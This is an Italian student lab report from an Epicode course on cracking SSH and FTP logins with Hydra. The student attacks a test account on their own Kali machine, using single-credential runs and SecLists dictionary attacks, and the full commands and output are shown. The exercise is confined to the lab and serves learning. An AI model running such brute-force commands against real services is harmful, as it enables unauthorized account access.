

EPICODE CS0326IT

PROGETTO S6/L5

AUTHENTICATION CRACKING CON HYDRA

Sulla macchina Kali Linux è stato creato un nuovo utente di test, denominato `test_user1`, tramite il comando `adduser`. È stato quindi attivato il servizio SSH e verificato lo stato di attivazione. Tramite il comando `ip a` è stato individuato l'indirizzo IP della macchina (10.0.2.15), successivamente utilizzato come target degli attacchi. Un tentativo di accesso SSH in locale (`ssh test_user1@localhost`) ha confermato la corretta configurazione dell'utente e del servizio.

```
(kali@kali)-[~]
└─$ sudo adduser test_user1
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user1
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] Y

(kali@kali)-[~]
└─$ sudo service ssh start

(kali@kali)-[~]
└─$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
   Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-07-17 10:50:58 EDT; 18s ago
  Invocation: 469f2875cd534e4892afdf89d1cfff0cc
     Docs: man:sshd(8)
           man:sshd_config(5)
   Process: 4357 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)
    Main PID: 4359 (sshd)
       Tasks: 1 (limit: 4467)
      Memory: 2M (peak: 2.8M)
         CPU: 27ms
    CGroup: /system.slice/ssh.service
            └─4359 "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"

Jul 17 10:50:58 kali systemd[1]: Starting ssh.service - OpenBSD Secure Shell server...
Jul 17 10:50:58 kali sshd[4359]: Server listening on 0.0.0.0 port 22.
Jul 17 10:50:58 kali sshd[4359]: Server listening on :: port 22.
Jul 17 10:50:58 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.

(kali@kali)-[~]
└─$ sudo nano /etc/ssh/sshd_config

(kali@kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 08:00:27:5a:87:bc brd ff:ff:ff:ff:ff:ff
   inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
        valid_lft 85854sec preferred_lft 85854sec
   inet6 fd17:625c:f037:2:d001:1cca:46c4:28c6/64 scope global dynamic noprefixroute
        valid_lft 86180sec preferred_lft 14180sec
   inet6 fe80::ee08:9448:f3f5:ab44/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

(kali@kali)-[~]
└─$ ssh test_user1@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is: SHA256:JBctba3DIvaiQCfoTZYFQLGTug83Oz73Srw9m09Gys4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
test_user1@localhost's password:
Linux kali 7.0.12-kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1 (2026-06-18) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
└─(test_user1@kali)-[~]
└─$ exit
logout
Connection to localhost closed.
```

Come primo passaggio, conoscendo già le credenziali (test_user1 / testpass), è stata verificata la sintassi di base di Hydra con gli switch -l e -p (minuscoli), utilizzati per una singola combinazione username/password:

```
hydra -l test_user1 -p testpass 10.0.2.15 -t 4 ssh
```

```
(kali@kali)-[~]
$ hydra -l test_user1 -p testpass 10.0.2.15 -t 4 ssh
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no
n-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 11:02:05
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://10.0.2.15:22/
[22][ssh] host: 10.0.2.15 login: test_user1 password: testpass
1 of 1 target successfully completed, 1 valid password found
```

Per simulare un attacco a dizionario, in cui username e password non sono noti, è stato installato il pacchetto seclists, contenente ampie raccolte di username e password:

```
sudo apt install seclists
```

```
The session file ./hydra.restore was written. Type "hydra -R" to resume session.
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 11:22:19

(kali@kali)-[~]
$ sudo apt install seclists
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  firmware-marvell-presteria libopenjph0.27 libvidstab1.1 libx265-215
Use 'sudo apt autoremove' to remove them.

Installing:
  seclists

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1
  Download size: 545 MB
  Space needed: 1,935 MB / 48.9 GB available

Get:1 http://kali.mirror.garr.it/kali-kali-rolling/main amd64 seclists all 2025.3-0kali1 [545 MB]
Fetched 545 MB in 1min 28s (6,193 kB/s)
Selecting previously unselected package seclists.
(Reading database... 436902 files and directories currently installed.)
Preparing to unpack ./seclists_2025.3-0kali1_all.deb...
Unpacking seclists (2025.3-0kali1)...
Setting up seclists (2025.3-0kali1)...
Processing triggers for kali-menu (2026.3.2)...
Processing triggers for wordlists (2026.2.0)...

(kali@kali)-[~]
$ ls /usr/share/seclists/Usernames/
cirt-default-usernames.txt  Honey-pot-Captures  Names  sap-default-usernames.txt  xato-net-10-million-usernames-dup.txt
CommonAdminBase64.txt  mssql-usernames-nanish0u-guardicore.txt  README.md  top-usernames-shortlist.txt  xato-net-10-million-usernames.txt

(kali@kali)-[~]
$ ls /usr/share/seclists/Passwords/Common-Credentials/
100k-most-used-passwords-NCSC.txt  darkweb2017_top-10.txt  SplashData-2015-1.txt
10k-most-common.txt  four-digit-pin-codes-sorted-by-frequency-withcount.csv  SplashData-2015-2.txt
1900-2020.txt  Language-Specific  top-20-common-SSH-passwords.txt
2020-200_most_used_passwords.txt  medical-devices.txt  top-passwords-shortlist.txt
2023-200_most_used_passwords.txt  probable-v2_top-12000.txt  worst-passwords-2017-top100-slashdata.txt
2024-197_most_used_passwords.txt  probable-v2_top-1575.txt  xato-net-10-million-passwords-1000000.txt
500-worst-passwords.txt  probable-v2_top-207.txt  xato-net-10-million-passwords-100000.txt
best1050.txt  Pwdb_top-10000000.txt  xato-net-10-million-passwords-10000.txt
best110.txt  Pwdb_top-10000000.txt  xato-net-10-million-passwords-10000.txt
best15.txt  Pwdb_top-1000000.txt  xato-net-10-million-passwords-100.txt
common-passwords-win.txt  Pwdb_top-10000.txt  xato-net-10-million-passwords-10.txt
darkweb2017_top-10000.txt  Pwdb_top-10000.txt  xato-net-10-million-passwords-dup.txt
darkweb2017_top-1000.txt  README.md  xato-net-10-million-passwords.txt
darkweb2017_top-100.txt  SplashData-2014.txt
```

In figura l'installazione di SecLists ed il contenuto delle cartelle Usernames e Passwords/Common-Credentials.

Poiché le credenziali di test (test_user1 / testpass) non erano presenti nelle wordlist scaricate, sono state verificate con grep e successivamente aggiunte manualmente in cima ai rispettivi file con sudo sed -i, in modo da garantire che l'attacco a dizionario individuasse la combinazione corretta in tempi ragionevoli:

```
(kali@kali)-[~]
$ grep testpass /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000.txt

(kali@kali)-[~]
$ sudo sed -i '1i testpass' /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000.txt

(kali@kali)-[~]
$ grep testpass /usr/share/seclists/Passwords/Common-Credentials/xato-net-10-million-passwords-1000.txt
testpass

(kali@kali)-[~]
$ grep test_user1 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
```

È stato poi lanciato l'attacco a dizionario completo, utilizzando gli switch -L e -P (maiuscoli) per le liste di username e password, e lo switch -V per visualizzare in tempo reale ogni singolo tentativo effettuato da Hydra. Per velocizzare ulteriormente la procedura anziché "-t 4" ho scritto "-t 16" perché significa che anziché provare 4 combinazioni di username/password insieme ne prova 16.

```
(kali@kali)~$ hydra -L /usr/share/seclists/Username/xato-net-10-million-username.txt -P /usr/share/seclists/Password/Common-Credentials/xato-net-10-million-passwords-1000.txt 10.0.2.15 -t 16 ssh -V
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 12:02:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 8303751456 login tries (l:8295456/p:1001), ~518984466 tries per task
[DATA] attacking ssh://10.0.2.15:22/
[ATTEMPT] target 10.0.2.15 - login "test_user1" - pass "testpass" - 1 of 8303751456 [child 0] (0/0)
```

Come parte facoltativa dell'esercizio, è stato configurato un secondo servizio di autenticazione, FTP, tramite il pacchetto vsftpd, ripetendo poi la procedura di cracking con Hydra sulla stessa coppia di credenziali:

```
(kali@kali)~$ sudo apt install vsftpd
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  firmware-marvell-prestera libopenjph0.27 libvidstab1.1 libx265-215
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd

Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 1
  Download size: 143 kB
  Space needed: 366 kB / 46.9 GB available

Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.5-0.7 [143 kB]
Fetched 143 kB in 2s (90.3 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database... 443224 files and directories currently installed.)
Preparing to unpack ./vsftpd_3.0.5-0.7_amd64.deb...
Unpacking vsftpd (3.0.5-0.7)...
Setting up vsftpd (3.0.5-0.7)...
Creating group 'ftp' with GID 967.
Creating user 'ftp' (ftp daemon) with UID 967 and GID 967.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
vsftpd.service is a disabled or a static unit, not starting it.
Processing triggers for man-db (2.13.1-1)...
Processing triggers for kali-menu (2026.3.2)...

(kali@kali)~$ sudo service vsftpd start
(kali@kali)~$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-07-17 12:36:59 EDT; 8s ago
  Invocation: 347a3cd230dc4d8f90f188f8d77e7a8e
     Docs: man:vsftpd(8)
   Process: 55636 ExecStartPre=/bin/mkdir -p /run/vsftpd/empty (code=exited, status=0/SUCCESS)
  Main PID: 55638 (vsftpd)
    Tasks: 1 (limit: 4467)
  Memory: 900K (peak: 2.2M)
     CPU: 19ms
   CGroup: /system.slice/vsftpd.service
           └─55638 /usr/sbin/vsftpd /etc/vsftpd.conf

Jul 17 12:36:59 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Jul 17 12:36:59 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

(kali@kali)~$ hydra -l test_user1 -p testpass 10.0.2.15 -t 16 ftp -V
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is no n-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-07-17 12:37:53
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ftp://10.0.2.15:21/
[ATTEMPT] target 10.0.2.15 - login "test_user1" - pass "testpass" - 1 of 1 [child 0] (0/0)
[21][ftp] host: 10.0.2.15 login: test_user1 password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-07-17 12:38:04

(kali@kali)~$
```